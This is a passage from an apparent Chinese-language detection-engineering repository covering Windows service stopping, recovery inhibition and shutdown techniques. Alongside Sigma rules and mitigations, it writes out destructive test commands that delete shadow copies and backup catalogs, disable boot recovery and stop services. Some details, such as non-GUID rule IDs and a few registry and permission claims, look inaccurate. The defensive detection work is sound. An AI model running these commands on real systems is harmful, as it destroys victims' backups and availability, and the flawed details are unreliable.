使用Wireshark分析HTTPS流量，检查请求的URL和数据。  \n\n8. **威胁情报整合**：\n   - 检查目标URL或IP是否与已知恶意Web服务匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御`DataSvcUtil.exe`渗出攻击需从工具限制、网络控制和监控入手：\n\n1. **限制DataSvcUtil.exe执行**  \n   - 使用AppLocker限制非管理员执行：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\Microsoft.NET\\Framework*\\DataSvcUtil.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n2. **限制出站网络访问**  \n   - 配置防火墙阻止`DataSvcUtil.exe`的出站连接：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block DataSvcUtil Outbound\" -Direction Outbound -Action Block -Program \"C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe\"\n     ```\n\n3. **监控文件操作**  \n   - 使用文件完整性监控（FIM）工具检测`/out`生成文件的异常写入。  \n   - 配置Sysmon监控文件创建：\n     ```xml\n     <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n       <FileCreate onmatch=\"include\">\n         <Image condition=\"end with\">DataSvcUtil.exe</Image>\n       </FileCreate>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3、11，检测`DataSvcUtil.exe`的进程和网络行为。  \n   - 配置SIEM实时告警`DataSvcUtil.exe`执行或异常HTTPS连接。  \n   - 使用EDR工具检测白名单工具滥用。  \n\n5. **定期审计**  \n   - 检查`DataSvcUtil.exe`执行记录：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"DataSvcUtil.exe\" }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"DataSvcUtil.exe\" }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，修复可能被利用的.NET Framework漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1567  \n  <https://attack.mitre.org/techniques/T1567/>  \n- LOLBAS: DataSvcUtil.exe  \n  <https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/>  \n- Microsoft: DataSvcUtil.exe Documentation  \n  <https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe>"
  },
  {
    "path": "Windows/14影响/T1489-win-停止服务.md",
    "content": "# T1489-Win-停止服务\n\n## 描述\n\n攻击者通过停止或禁用系统上的服务，破坏合法用户的使用功能或干扰事件响应（T1489）。Windows 服务是后台运行的进程，支持关键功能（如Exchange、SQL Server、Windows Defender）。攻击者可能针对单一关键服务（如`MSExchangeIS`）以阻止访问，或批量停止多个服务以瘫痪系统。停止服务还可能为后续操作（如数据加密、破坏）创造条件，因为某些服务运行时会锁定其数据文件。\n\n攻击者常用内置工具（如`net.exe`、`sc.exe`）或脚本（如PowerShell）执行服务停止操作，通常需要管理员权限以确保成功。停止服务可能用于逃避防御、阻断安全工具（如杀毒软件）或掩盖其他恶意活动。检测重点在于监控服务状态变更、相关命令行活动及异常进程行为。\n\n## 测试案例\n\n1. **使用`net.exe`停止服务**  \n   攻击者使用`net stop`命令停止非禁用服务（如`vmtools`），以模拟中断虚拟机管理功能。  \n2. **使用`sc.exe`禁用并停止服务**  \n   攻击者通过`sc config`禁用服务并用`sc stop`停止运行，以防止服务恢复。  \n3. **批量停止服务**  \n   攻击者通过脚本（如PowerShell）停止多个服务，模拟勒索软件攻击前的行为。  \n\n### 示例命令\n#### 使用`net.exe`\n- **停止服务**（需管理员权限）：\n  ```cmd\n  net stop vmtools\n  ```\n- **启动服务**：\n  ```cmd\n  net start vmtools\n  ```\n\n#### 使用`sc.exe`\n- **禁用服务**：\n  ```cmd\n  sc config vmtools start=disabled\n  ```\n- **停止服务**：\n  ```cmd\n  sc stop vmtools\n  ```\n- **查询服务状态**：\n  ```cmd\n  sc query vmtools\n  ```\n- **删除服务**：\n  ```cmd\n  sc delete vmtools\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`net.exe`、`sc.exe`或相关工具的进程创建。  \n- **事件ID 7040**：记录服务启动类型变更（如从“自动”到“禁用”）。  \n- **事件ID 7045**：记录新服务创建。  \n- **事件ID 7036**：记录服务状态变更（如停止或启动）。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`net.exe`或`sc.exe`的命令行参数。  \n- **事件ID 13**：记录注册表修改，如服务配置变更（`HKLM\\SYSTEM\\CurrentControlSet\\Services`）。  \n- **事件ID 11**：记录服务相关文件的创建或写入。  \n\n**配置日志记录**  \n- 启用服务审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 系统 > 审核服务`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程、注册表和服务监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（停止服务通常需要提升权限）。  \n- **工具**：`net.exe`、`sc.exe`（系统自带）、Sysmon。  \n- **服务**：选择非关键服务（如`vmtools`）进行测试，避免影响系统稳定性。  \n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n1. **检查服务状态**  \n   - 查询目标服务：\n     ```cmd\n     sc query vmtools\n     ```\n\n2. **停止服务**  \n   - 使用`net.exe`停止服务：\n     ```cmd\n     net stop vmtools\n     ```\n\n3. **验证结果**  \n   - 确认服务状态：\n     ```cmd\n     sc query vmtools\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"net.exe\" }\n       ```\n     - **Windows系统日志（事件ID 7036）**：\n       ```powershell\n       Get-WinEvent -LogName System | Where-Object { $_.Id -eq 7036 -and $_.Message -match \"vmtools\" }\n       ```\n\n4. **恢复服务**  \n   - 启动服务：\n     ```cmd\n     net start vmtools\n     ```\n\n### 示例输出\n```cmd\nsc query vmtools\nSERVICE_NAME: vmtools\n        TYPE               : 10  WIN32_OWN_PROCESS\n        STATE              : 4  RUNNING\n        WIN32_EXIT_CODE    : 0  (0x0)\n        SERVICE_EXIT_CODE  : 0  (0x0)\n\nnet stop vmtools\nVMware Tools 服务已成功停止。\n\nsc query vmtools\nSERVICE_NAME: vmtools\n        TYPE               : 10  WIN32_OWN_PROCESS\n        STATE              : 1  STOPPED\n        WIN32_EXIT_CODE    : 0  (0x0)\n        SERVICE_EXIT_CODE  : 0  (0x0)\n\nnet start vmtools\nVMware Tools 服务正在启动 .\nVMware Tools 服务已经启动成功。\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: CONTOSO\\Administrator\n    Account Name: Administrator\n    Account Domain: CONTOSO\n    Logon ID: 0x7169C\n  Process Information:\n    New Process ID: 0xd9c\n    New Process Name: C:\\Windows\\System32\\net.exe\n    Token Elevation Type: TokenElevationTypeDefault (1)\n    Mandatory Label: Mandatory Label\\High Mandatory Level\n    Creator Process ID: 0x15d0\n    Creator Process Name: C:\\Windows\\System32\\cmd.exe\n    Process Command Line: net stop vmtools\n  ```\n\n- **Windows系统日志（事件ID 7036，服务状态变更）**：\n  ```plaintext\n  EventID: 7036\n  Source: Service Control Manager\n  Message: The VMware Tools service entered the stopped state.\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 3420\n  Image: C:\\Windows\\System32\\net.exe\n  CommandLine: net stop vmtools\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\Administrator\n  IntegrityLevel: High\n  ```\n\n- **Sysmon日志（事件ID 13，注册表修改，禁用服务示例）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac}\n  Image: C:\\Windows\\System32\\sc.exe\n  TargetObject: HKLM\\SYSTEM\\CurrentControlSet\\Services\\vmtools\\Start\n  Details: DWORD (0x00000004)\n  User: CONTOSO\\Administrator\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控服务状态变更、命令行参数及注册表修改，检测服务停止行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Windows系统日志事件ID 7036，检测关键服务（如`WinDefend`、`MSExchangeIS`）的停止事件。  \n   - 监控Sysmon事件ID 1，检测`net.exe`或`sc.exe`执行，检查命令行是否包含`stop`或`config`。  \n   - 监控Sysmon事件ID 13，检测服务注册表键（如`HKLM\\SYSTEM\\CurrentControlSet\\Services`）的修改。  \n   - 监控Windows安全日志事件ID 4688，检测`net.exe`、`sc.exe`或异常进程的创建。  \n   - 检查批量服务停止行为（如短时间内多个服务停止）。  \n\n2. **Sigma规则（服务停止命令执行）**：\n   ```yaml\n   title: Windows服务停止命令执行检测\n   id: i67890123-abcd-4567-8901-23456789cdef\n   status: stable\n   description: 检测使用net stop或sc stop命令停止服务，可能用于逃避防御或破坏\n   references:\n     - https://attack.mitre.org/techniques/T1489/\n     - https://www.cnblogs.com/qlqwjy/p/8010598.html\n   tags:\n     - attack.defense_evasion\n     - attack.t1489\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection:\n       EventID: 4688\n       CommandLine|contains:\n         - 'net stop'\n         - 'sc stop'\n     condition: selection\n   fields:\n     - CommandLine\n     - NewProcessName\n     - ParentProcessName\n     - User\n   falsepositives:\n     - 管理员维护操作\n     - 合法软件安装/更新\n   level: medium\n   ```\n\n3. **Sigma规则（关键服务状态变更）**：\n   ```yaml\n   title: 关键服务停止检测\n   id: j78901234-abcd-5678-9012-34567890defg\n   status: experimental\n   description: 检测关键服务的停止事件，可能与攻击行为相关\n   logsource:\n     product: windows\n     service: system\n   detection:\n     selection:\n       EventID: 7036\n       Message|contains:\n         - 'WinDefend stopped'\n         - 'MSExchangeIS stopped'\n         - 'MSSQLSERVER stopped'\n         - 'vmtools stopped'\n     condition: selection\n   fields:\n     - Message\n     - TimeCreated\n   falsepositives:\n     - 系统维护或更新\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测服务停止及相关命令执行。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Security\" EventCode=4688 CommandLine IN (\"*net stop*\",\"*sc stop*\")) OR (source=\"WinEventLog:System\" EventCode=7036 Message IN (\"*stopped*\")) | stats count by EventCode, CommandLine, Message, SourceName, ComputerName\n     ```\n\n5. **服务监控**：\n   - 检查服务状态：\n     ```powershell\n     Get-Service | Where-Object { $_.Status -eq \"Stopped\" -and $_.StartType -ne \"Disabled\" }\n     ```\n\n6. **工具支持**：\n   - 使用Sysinternals Autoruns检查服务配置：\n     ```cmd\n     autoruns -a | findstr \"Services\"\n     ```\n   - 使用Process Monitor捕获服务相关注册表和进程活动。\n\n7. **威胁情报整合**：\n   - 检查命令行参数或服务名称是否与已知恶意行为（如勒索软件）匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御服务停止攻击需从权限控制、服务保护和监控入手：\n\n1. **保护关键服务**  \n   - 配置关键服务（如`WinDefend`）为不可停止：\n     ```powershell\n     Set-Service -Name WinDefend -StartupType Automatic\n     sc sdset WinDefend D:(D;;WD;;;WD)\n     ```\n\n2. **启用服务恢复策略**  \n   - 配置服务自动重启：\n     ```cmd\n     sc failure vmtools reset= 0 actions= restart/1000/restart/1000/restart/1000\n     ```\n\n3. **加强日志监控**  \n   - 启用Sysmon事件ID 1、13和Windows事件ID 7036、4688，检测服务停止行为。  \n   - 配置SIEM实时告警关键服务状态变更。  \n   - 使用EDR工具检测异常服务操作。  \n\n4. **定期审计**  \n   - 检查服务状态：\n     ```powershell\n     Get-Service | Select-Object Name, Status, StartType\n     ```\n   - 审计服务注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\*\" | Select-Object PSChildName, Start\n     ```\n\n5. **补丁管理**  \n   - 确保系统安装最新补丁，修复可能被利用的服务相关漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1489  \n  <https://attack.mitre.org/techniques/T1489/>  \n- Windows命令行服务管理（net、sc用法）  \n  <https://www.cnblogs.com/qlqwjy/p/8010598.html>"
  },
  {
    "path": "Windows/14影响/T1490-win-禁止系统恢复.md",
    "content": "# T1490-Win-禁止系统恢复\n\n## 描述\n\n攻击者通过删除或禁用Windows操作系统的恢复功能（如卷影副本、备份目录、自动修复），增强数据破坏或勒索软件攻击的影响（T1490）。这些功能旨在帮助用户从系统损坏或数据丢失中恢复，攻击者禁用它们以阻止恢复，迫使受害者支付赎金或面临永久数据丢失。常用方法包括使用内置工具（如`vssadmin.exe`、`wmic.exe`、`wbadmin.exe`、`bcdedit.exe`）执行删除或配置修改操作，通常需要管理员权限。\n\n攻击者可能：\n- 删除卷影副本以阻止文件恢复。\n- 删除备份目录以破坏系统还原点。\n- 禁用自动修复功能以阻止系统启动恢复。\n\n此类行为常与勒索软件（如Ryuk、Conti）相关，检测重点在于监控相关命令行执行、注册表修改及服务状态变更。\n\n## 测试案例\n\n1. **删除卷影副本**  \n   使用`wmic shadowcopy delete`或`vssadmin.exe delete shadows /all /quiet`删除所有卷影副本。  \n2. **删除备份目录**  \n   使用`wbadmin.exe delete catalog -quiet`清除Windows备份目录。  \n3. **禁用自动恢复**  \n   使用`bcdedit.exe`修改启动配置，禁用Windows恢复功能。  \n\n### 示例命令\n#### 删除卷影副本\n- **WMIC方式**（需管理员权限）：\n  ```cmd\n  wmic shadowcopy delete\n  ```\n- **Vssadmin方式**：\n  ```cmd\n  vssadmin.exe delete shadows /all /quiet\n  ```\n\n#### 删除备份目录\n- **命令**（需管理员权限）：\n  ```cmd\n  wbadmin.exe delete catalog -quiet\n  ```\n\n#### 禁用自动恢复\n- **命令**（需管理员权限）：\n  ```cmd\n  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\n  bcdedit.exe /set {default} recoveryenabled no\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`wmic.exe`、`vssadmin.exe`、`wbadmin.exe`或`bcdedit.exe`的进程创建。  \n- **事件ID 4656**：记录注册表访问（如`bcdedit`修改启动配置）。  \n\n**Windows系统日志**  \n- **事件ID 524**：记录备份目录删除事件。  \n- **事件ID 1**（卷影副本服务）：记录卷影副本相关操作。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含命令行参数（如`shadowcopy delete`）。  \n- **事件ID 13**：记录注册表修改，如`HKLM\\SYSTEM\\CurrentControlSet\\Control\\BootStatusPolicy`。  \n- **事件ID 11**：记录临时文件或脚本的创建。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 部署Sysmon以增强进程、注册表和服务监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（执行恢复禁用命令需提升权限）。  \n- **工具**：`wmic.exe`、`vssadmin.exe`、`wbadmin.exe`、`bcdedit.exe`（系统自带）、Sysmon。  \n- **前提**：确保存在卷影副本（可通过`vssadmin list shadows`检查）。  \n- **日志**：启用Windows安全日志、系统日志和Sysmon。  \n\n### 攻击步骤\n1. **检查卷影副本**  \n   - 列出当前卷影副本：\n     ```cmd\n     vssadmin list shadows\n     ```\n\n2. **删除卷影副本**  \n   - 使用WMIC删除：\n     ```cmd\n     wmic shadowcopy delete\n     ```\n\n3. **验证结果**  \n   - 再次检查卷影副本：\n     ```cmd\n     vssadmin list shadows\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"wmic.exe\" }\n       ```\n     - **Sysmon日志（事件ID 1）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"shadowcopy delete\" }\n       ```\n\n4. **恢复环境**  \n   - 若需恢复卷影副本，需从备份重新创建（测试环境建议快照恢复）。  \n\n### 示例输出\n```cmd\nvssadmin list shadows\nContents of shadow copy set ID: {12345678-1234-1234-1234-1234567890ab}\n   Shadow Copy ID: {abcdef12-3456-7890-abcd-ef1234567890}\n   Original Volume: (C:)\\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\\\n   Creation Time: 2025-06-10 03:00:00\n\nwmic shadowcopy delete\nNo Instance(s) Available.\n\nvssadmin list shadows\nNo shadow copies found.\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: CONTOSO\\Administrator\n    Account Name: Administrator\n    Account Domain: CONTOSO\n    Logon ID: 0x7169C\n  Process Information:\n    New Process ID: 0x1304\n    New Process Name: C:\\Windows\\System32\\wbem\\WMIC.exe\n    Token Elevation Type: TokenElevationTypeDefault (1)\n    Mandatory Label: Mandatory Label\\High Mandatory Level\n    Creator Process ID: 0x15d0\n    Creator Process Name: C:\\Windows\\System32\\cmd.exe\n    Process Command Line: wmic shadowcopy delete\n  ```\n\n- **Windows系统日志（事件ID 1，卷影副本删除）**：\n  ```plaintext\n  EventID: 1\n  Source: VSS\n  Message: Volume Shadow Copy Service information: The shadow copy was deleted.\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 4864\n  Image: C:\\Windows\\System32\\wbem\\WMIC.exe\n  CommandLine: wmic shadowcopy delete\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\Administrator\n  IntegrityLevel: High\n  ```\n\n- **Sysmon日志（事件ID 13，注册表修改，bcdedit示例）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac}\n  Image: C:\\Windows\\System32\\bcdedit.exe\n  TargetObject: HKLM\\SYSTEM\\CurrentControlSet\\Control\\BootStatusPolicy\n  Details: ignoreallfailures\n  User: CONTOSO\\Administrator\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控命令行执行、注册表修改及服务状态变更，检测系统恢复禁用行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 1，检测`wmic.exe`、`vssadmin.exe`、`wbadmin.exe`或`bcdedit.exe`执行，检查命令行参数（如`shadowcopy delete`、`delete catalog`）。  \n   - 监控Windows系统日志事件ID 524，检测备份目录删除。  \n   - 监控Windows系统日志事件ID 1，检测卷影副本删除。  \n   - 监控Sysmon事件ID 13，检测启动配置注册表修改（如`BootStatusPolicy`）。  \n   - 监控Windows安全日志事件ID 4688，检测相关工具的进程创建。  \n\n2. **Sigma规则（系统恢复功能删除）**：\n   ```yaml\n   title: Windows系统恢复功能删除检测\n   id: k89012345-abcd-6789-0123-45678901efgh\n   status: stable\n   description: 检测使用wmic、vssadmin、wbadmin或bcdedit禁用系统恢复功能\n   references:\n     - https://attack.mitre.org/techniques/T1490/\n   tags:\n     - attack.impact\n     - attack.t1490\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection_bcdedit:\n       EventID: 4688\n       Image|endswith: '\\bcdedit.exe'\n       CommandLine|contains:\n         - 'bootstatuspolicy ignoreallfailures'\n         - 'recoveryenabled no'\n     selection_vssadmin:\n       EventID: 4688\n       Image|endswith: '\\vssadmin.exe'\n       CommandLine|contains: 'delete shadows'\n     selection_wmic:\n       EventID: 4688\n       Image|endswith: '\\wmic.exe'\n       CommandLine|contains: 'shadowcopy delete'\n     selection_wbadmin:\n       EventID: 4688\n       Image|endswith: '\\wbadmin.exe'\n       CommandLine|contains: 'delete catalog'\n     condition: selection_bcdedit or selection_vssadmin or selection_wmic or selection_wbadmin\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 管理员手动维护操作\n     - 合法备份软件操作\n   level: high\n   ```\n\n3. **Sigma规则（卷影副本删除事件）**：\n   ```yaml\n   title: 卷影副本删除事件检测\n   id: l90123456-abcd-7890-1234-56789012fghi\n   status: experimental\n   description: 检测卷影副本被删除的事件，可能与勒索软件相关\n   logsource:\n     product: windows\n     service: system\n   detection:\n     selection:\n       EventID: 1\n       Source: VSS\n       Message|contains: 'shadow copy was deleted'\n     condition: selection\n   fields:\n     - Message\n     - TimeCreated\n   falsepositives:\n     - 合法备份清理操作\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测系统恢复禁用行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Security\" EventCode=4688 CommandLine IN (\"*shadowcopy delete*\",\"*delete shadows*\",\"*delete catalog*\",\"*bootstatuspolicy ignoreallfailures*\",\"*recoveryenabled no*\")) OR (source=\"WinEventLog:System\" EventCode=1 Message=\"*shadow copy was deleted*\") | stats count by EventCode, CommandLine, Message, SourceName, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 检查启动配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\" -Name BootStatusPolicy\n     ```\n\n6. **工具支持**：\n   - 使用Sysinternals Process Monitor捕获命令执行和注册表修改。  \n   - 使用Sysinternals Autoruns检查启动配置：\n     ```cmd\n     autoruns -a | findstr \"Boot\"\n     ```\n\n7. **威胁情报整合**：\n   - 检查命令行参数或相关文件哈希是否与已知勒索软件（如Ryuk、Conti）匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御系统恢复禁用攻击需从权限控制、恢复保护和监控入手：\n\n1. **限制工具执行权限**  \n   - 限制非管理员用户执行`wmic.exe`、`vssadmin.exe`、`wbadmin.exe`、`bcdedit.exe`：\n     ```powershell\n     icacls \"C:\\Windows\\System32\\wbem\\wmic.exe\" /deny \"Users:(X)\"\n     icacls \"C:\\Windows\\System32\\vssadmin.exe\" /deny \"Users:(X)\"\n     ```\n\n2. **保护卷影副本**  \n   - 配置组策略限制卷影副本删除：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" -Name DisableSR -Value 0\n     ```\n\n3. **启用备份策略**  \n   - 定期创建离线备份，防止备份目录被删除。  \n   - 配置Windows备份服务自动运行：\n     ```cmd\n     sc config wbengine start=auto\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、13和Windows事件ID 4688、524、1，检测恢复禁用行为。  \n   - 配置SIEM实时告警卷影副本或备份删除事件。  \n   - 使用EDR工具检测异常命令执行。  \n\n5. **定期审计**  \n   - 检查卷影副本状态：\n     ```cmd\n     vssadmin list shadows\n     ```\n   - 检查启动配置：\n     ```cmd\n     bcdedit /enum {default}\n     ```\n   - 检查备份目录：\n     ```cmd\n     wbadmin get versions\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，修复可能被利用的恢复相关漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1490  \n  <https://attack.mitre.org/techniques/T1490/>"
  },
  {
    "path": "Windows/14影响/T1529-win-系统关机或重启.md",
    "content": "# T1529-Win-系统关机或重启\n\n## 描述\n\n攻击者通过执行系统关机或重启操作，破坏合法用户对系统的访问或加速其他恶意活动的影响（T1529）。Windows操作系统提供内置工具（如`shutdown.exe`）用于本地或远程执行关机/重启，攻击者可利用这些工具中断服务、掩盖痕迹或配合其他攻击（如磁盘擦除、勒索软件）。例如，攻击者可能在破坏系统恢复功能后重启系统，以阻止修复尝试。\n\n关机或重启通常需要管理员权限，尤其是远程操作。攻击者可能通过命令行、脚本或计划任务触发此类行为。检测重点在于监控`shutdown.exe`执行、相关命令行参数及系统日志中的关机/重启事件。\n\n## 测试案例\n\n1. **定时关机**  \n   使用`shutdown.exe -s -t <seconds>`设置延迟关机，模拟攻击者计划中断系统。  \n2. **立即重启**  \n   使用`shutdown.exe -r -t 0`强制立即重启，模拟快速破坏访问。  \n3. **取消关机**  \n   使用`shutdown.exe -a`取消计划中的关机任务，模拟攻击者调整策略。  \n4. **远程关机**  \n   使用`shutdown.exe /m \\\\<target> -s`远程关闭目标系统（需权限）。\n\n### 示例命令\n- **定时关机**（需管理员权限）：\n  ```cmd\n  shutdown.exe -s -t 13200\n  ```\n  - 设置220分钟后关机。\n- **取消关机**：\n  ```cmd\n  shutdown.exe -a\n  ```\n- **立即重启**：\n  ```cmd\n  shutdown.exe -r -t 0\n  ```\n- **远程关机**：\n  ```cmd\n  shutdown.exe /m \\\\192.168.1.100 -s -t 60\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`shutdown.exe`或相关进程（如`wlrmdr.exe`）的创建。  \n\n**Windows系统日志**  \n- **事件ID 1074**：记录用户或进程发起的关机/重启事件。  \n- **事件ID 6006**：记录事件日志服务停止（系统关闭前）。  \n- **事件ID 6008**：记录意外关机事件（若系统未正常关闭）。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录`shutdown.exe`的进程创建及命令行参数。  \n- **事件ID 11**：记录临时文件或脚本的创建（如攻击者使用脚本触发关机）。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程和文件监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（执行`shutdown.exe`需提升权限）。  \n- **工具**：`shutdown.exe`（系统自带，位于`C:\\Windows\\System32`）、Sysmon。  \n- **日志**：启用Windows安全日志、系统日志和Sysmon。  \n\n### 攻击步骤\n1. **执行定时关机**  \n   - 设置220分钟后关机：\n     ```cmd\n     shutdown.exe -s -t 13200\n     ```\n\n2. **取消关机**  \n   - 中止计划中的关机：\n     ```cmd\n     shutdown.exe -a\n     ```\n\n3. **验证结果**  \n   - 检查系统日志：\n     ```powershell\n     Get-WinEvent -LogName System | Where-Object { $_.Id -in (1074, 6006) }\n     ```\n   - 检查安全日志：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"shutdown.exe\" }\n     ```\n   - 检查Sysmon日志：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"shutdown.exe\" }\n     ```\n\n4. **清理**  \n   - 确保取消所有计划关机任务：\n     ```cmd\n     shutdown.exe -a\n     ```\n\n### 示例输出\n```cmd\nshutdown.exe -s -t 13200\n<系统提示：Windows将在220分钟后关闭>\n\nshutdown.exe -a\n<系统提示：计划的关机已取消>\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: CONTOSO\\Administrator\n    Account Name: Administrator\n    Account Domain: CONTOSO\n    Logon ID: 0x7169C\n  Process Information:\n    New Process ID: 0x730\n    New Process Name: C:\\Windows\\System32\\shutdown.exe\n    Token Elevation Type: TokenElevationTypeDefault (1)\n    Mandatory Label: Mandatory Label\\High Mandatory Level\n    Creator Process ID: 0x15d0\n    Creator Process Name: C:\\Windows\\System32\\cmd.exe\n    Process Command Line: shutdown -s -t 13200\n  ```\n\n- **Windows安全日志（事件ID 4688，wlrmdr.exe进程）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: SYSTEM\n    Account Name: WIN-1CIA2BP8VBJ$\n    Account Domain: CONTOSO\n    Logon ID: 0x3E7\n  Process Information:\n    New Process ID: 0x1418\n    New Process Name: C:\\Windows\\System32\\wlrmdr.exe\n    Token Elevation Type: TokenElevationTypeDefault (1)\n    Mandatory Label: Mandatory Label\\High Mandatory Level\n    Creator Process ID: 0x27c\n    Creator Process Name: C:\\Windows\\System32\\winlogon.exe\n    Process Command Line: -s 120000 -f 2 -t 即将注销你的登录 -m Windows 将在 220 分钟后关闭。\n  ```\n\n- **Windows系统日志（事件ID 1074，关机/重启发起）**：\n  ```plaintext\n  EventID: 1074\n  Source: User32\n  Message: The process C:\\Windows\\system32\\winlogon.exe (WIN-1CIA2BP8VBJ) has initiated the restart of computer WIN-1CIA2BP8VBJ on behalf of user NT AUTHORITY\\SYSTEM for the following reason: Operating System: Upgrade (Planned)\n  Reason Code: 0x80020003\n  Shutdown Type: restart\n  Comment:\n  ```\n\n- **Windows系统日志（事件ID 6006，事件日志停止）**：\n  ```plaintext\n  EventID: 6006\n  Source: EventLog\n  Message: The Event log service was stopped.\n  